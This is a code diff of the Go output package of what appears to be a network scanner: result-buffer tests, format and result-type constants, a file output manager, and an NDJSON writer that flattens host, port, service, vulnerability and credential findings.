||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "web",
|
||||
Details: map[string]interface{}{
|
||||
"title": "Home",
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
},
|
||||
})
|
||||
|
||||
if len(buf.ServiceResults) != 1 {
|
||||
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
|
||||
}
|
||||
details := buf.ServiceResults[0].Details
|
||||
for _, key := range []string{"service", "banner", "title", "status", "server"} {
|
||||
if _, ok := details[key]; !ok {
|
||||
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
||||
//
|
||||
// 当新记录不如旧记录完整时,不应替换
|
||||
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加完整记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"fingerprints": []string{"nginx"},
|
||||
},
|
||||
})
|
||||
|
||||
// 再添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 验证仍保留完整记录
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("不应降级到不完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_ConcurrentAdd 测试并发添加
|
||||
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
const goroutines = 100
|
||||
const resultsPerGoroutine = 100
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(goroutines)
|
||||
|
||||
for i := 0; i < goroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
for j := 0; j < resultsPerGoroutine; j++ {
|
||||
// 每个goroutine添加不同类型的结果
|
||||
switch j % 4 {
|
||||
case 0:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
})
|
||||
case 1:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Details: map[string]interface{}{"port": j},
|
||||
})
|
||||
case 2:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
|
||||
})
|
||||
case 3:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Status: fmt.Sprintf("CVE-%d", j),
|
||||
})
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证没有panic,数据完整
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
total := hosts + ports + services + vulns
|
||||
|
||||
if total == 0 {
|
||||
t.Error("并发添加后应有结果")
|
||||
}
|
||||
|
||||
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
|
||||
hosts, ports, services, vulns)
|
||||
}
|
||||
|
||||
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
|
||||
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 预填充一些数据
|
||||
for i := 0; i < 100; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.1.%d", i),
|
||||
})
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(100)
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// 同时获取摘要和添加
|
||||
buf.Summary()
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "10.0.0.1",
|
||||
})
|
||||
}()
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// 没有panic即为成功
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 边界情况测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_NilResult 测试nil结果
|
||||
func TestResultBuffer_NilResult(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
buf.Add(nil) // 不应panic
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("添加nil后应无结果")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
|
||||
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: nil,
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 1 {
|
||||
t.Error("无Details的端口也应被添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_Clear 测试清空
|
||||
func TestResultBuffer_Clear(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加各类结果
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
|
||||
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
|
||||
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
|
||||
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
|
||||
|
||||
// 清空
|
||||
buf.Clear()
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("Clear后应无结果")
|
||||
}
|
||||
|
||||
// 验证可以继续添加
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
|
||||
hosts, _, _, _ = buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Error("Clear后应能继续添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
|
||||
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 空字符串数组
|
||||
score1 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []string{}},
|
||||
})
|
||||
if score1 != 0 {
|
||||
t.Errorf("空指纹数组不应加分,实际 %d", score1)
|
||||
}
|
||||
|
||||
// 空interface数组
|
||||
score2 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []interface{}{}},
|
||||
})
|
||||
if score2 != 0 {
|
||||
t.Errorf("空interface数组不应加分,实际 %d", score2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_StatusZero 测试status为0
|
||||
func TestResultBuffer_StatusZero(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
score := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"status": 0},
|
||||
})
|
||||
if score != 0 {
|
||||
t.Errorf("status为0不应加分,实际 %d", score)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"os"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 输出格式常量
|
||||
// =============================================================================
|
||||
|
||||
// Format 输出格式类型
|
||||
type Format string
|
||||
|
||||
const (
|
||||
// FormatTXT 文本格式输出
|
||||
FormatTXT Format = "txt"
|
||||
// FormatJSON JSON格式输出
|
||||
FormatJSON Format = "json"
|
||||
// FormatCSV CSV格式输出
|
||||
FormatCSV Format = "csv"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 结果类型常量
|
||||
// =============================================================================
|
||||
|
||||
// ResultType 定义结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
// TypeHost 主机存活
|
||||
TypeHost ResultType = "HOST"
|
||||
// TypePort 端口开放
|
||||
TypePort ResultType = "PORT"
|
||||
// TypeService 服务识别
|
||||
TypeService ResultType = "SERVICE"
|
||||
// TypeVuln 漏洞发现
|
||||
TypeVuln ResultType = "VULN"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 文件操作常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultFilePermissions 文件操作权限
|
||||
DefaultFilePermissions = 0644
|
||||
// DefaultDirPermissions 目录操作权限
|
||||
DefaultDirPermissions = 0755
|
||||
|
||||
// DefaultFileFlags 文件打开标志
|
||||
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
|
||||
|
||||
// JSONIndentPrefix JSON格式化前缀
|
||||
JSONIndentPrefix = ""
|
||||
// JSONIndentString JSON格式化缩进字符串
|
||||
JSONIndentString = " "
|
||||
)
|
||||
@@ -0,0 +1,113 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Manager 简化的输出管理器
|
||||
type Manager struct {
|
||||
mu sync.RWMutex
|
||||
config *ManagerConfig
|
||||
writer Writer
|
||||
closed bool
|
||||
}
|
||||
|
||||
// NewManager 创建新的输出管理器
|
||||
func NewManager(config *ManagerConfig) (*Manager, error) {
|
||||
if config == nil {
|
||||
return nil, fmt.Errorf("output config cannot be nil")
|
||||
}
|
||||
|
||||
// 创建输出目录
|
||||
if err := createOutputDir(config.OutputPath); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
manager := &Manager{
|
||||
config: config,
|
||||
}
|
||||
|
||||
// 初始化写入器(内部会验证格式)
|
||||
if err := manager.initializeWriter(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return manager, nil
|
||||
}
|
||||
|
||||
// createOutputDir 创建输出目录
|
||||
func createOutputDir(outputPath string) error {
|
||||
dir := filepath.Dir(outputPath)
|
||||
return os.MkdirAll(dir, DefaultDirPermissions)
|
||||
}
|
||||
|
||||
// initializeWriter 初始化写入器
|
||||
func (m *Manager) initializeWriter() error {
|
||||
var writer Writer
|
||||
var err error
|
||||
|
||||
switch m.config.Format {
|
||||
case FormatTXT:
|
||||
writer, err = NewTXTWriter(m.config.OutputPath)
|
||||
case FormatJSON:
|
||||
writer, err = NewJSONWriter(m.config.OutputPath)
|
||||
case FormatCSV:
|
||||
writer, err = NewCSVWriter(m.config.OutputPath)
|
||||
default:
|
||||
return fmt.Errorf("unsupported format: %s", m.config.Format)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
m.writer = writer
|
||||
return m.writer.WriteHeader()
|
||||
}
|
||||
|
||||
// SaveResult 保存扫描结果
|
||||
func (m *Manager) SaveResult(result *ScanResult) error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
return m.writer.Write(result)
|
||||
}
|
||||
|
||||
// Flush 刷新输出
|
||||
func (m *Manager) Flush() error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
return m.writer.Flush()
|
||||
}
|
||||
|
||||
// Close 关闭输出管理器
|
||||
func (m *Manager) Close() error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if m.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
m.closed = true
|
||||
if m.writer != nil {
|
||||
return m.writer.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type StdoutNDJSONWriter struct {
|
||||
mu sync.Mutex
|
||||
writer *bufio.Writer
|
||||
}
|
||||
|
||||
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
|
||||
return &StdoutNDJSONWriter{
|
||||
writer: bufio.NewWriter(os.Stdout),
|
||||
}
|
||||
}
|
||||
|
||||
// ndjsonRecord NDJSON 输出的扁平化结构
|
||||
type ndjsonRecord struct {
|
||||
Type ResultType `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Status string `json:"status"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Service string `json:"service,omitempty"`
|
||||
// 通用可选字段
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
Banner string `json:"banner,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
// 漏洞/弱口令
|
||||
Vulnerability string `json:"vulnerability,omitempty"`
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
// 其他
|
||||
Plugin string `json:"plugin,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
rec := w.flatten(result)
|
||||
data, err := json.Marshal(rec)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if _, err := w.writer.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
|
||||
rec := &ndjsonRecord{
|
||||
Type: r.Type,
|
||||
Target: r.Target,
|
||||
Status: r.Status,
|
||||
}
|
||||
|
||||
// 从 target 拆分 host:port
|
||||
if host, port, ok := splitHostPort(r.Target); ok {
|
||||
rec.Host = host
|
||||
rec.Port = port
|
||||
} else {
|
||||
rec.Host = r.Target
|
||||
}
|
||||
|
||||
d := r.Details
|
||||
if d == nil {
|
||||
return rec
|
||||
}
|
||||
|
||||
// 从 details 提升一级字段(覆盖拆分结果)
|
||||
if v, ok := d["port"]; ok {
|
||||
if p, ok := toInt(v); ok {
|
||||
rec.Port = p
|
||||
}
|
||||
}
|
||||
|
||||
rec.Service = strVal(d, "service")
|
||||
rec.Protocol = strVal(d, "protocol")
|
||||
if banner := strVal(d, "banner"); len(banner) > 200 {
|
||||
rec.Banner = banner[:200] + "..."
|
||||
} else {
|
||||
rec.Banner = banner
|
||||
}
|
||||
rec.Title = strVal(d, "title")
|
||||
rec.URL = strVal(d, "url")
|
||||
rec.Vulnerability = strVal(d, "vulnerability")
|
||||
rec.Username = strVal(d, "username")
|
||||
rec.Password = strVal(d, "password")
|
||||
rec.Plugin = strVal(d, "plugin")
|
||||
rec.Version = strVal(d, "version")
|
||||
rec.OS = strVal(d, "os")
|
||||
|
||||
return rec
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func strVal(d map[string]interface{}, key string) string {
|
||||
v, ok := d[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
s, ok := v.(string)
|
||||
if !ok {
|
||||
return fmt.Sprintf("%v", v)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func toInt(v interface{}) (int, bool) {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
return n, true
|
||||
case int64:
|
||||
return int(n), true
|
||||
case float64:
|
||||
return int(n), true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func splitHostPort(target string) (string, int, bool) {
|
||||
host, portText, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
if strings.Count(target, ":") != 1 {
|
||||
return "", 0, false
|
||||
}
|
||||
parts := strings.SplitN(target, ":", 2)
|
||||
host, portText = parts[0], parts[1]
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
return "", 0, false
|
||||
}
|
||||
if host == "" || port < 1 || port > 65535 {
|
||||
return "", 0, false
|
||||
}
|
||||
return host, port, true
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user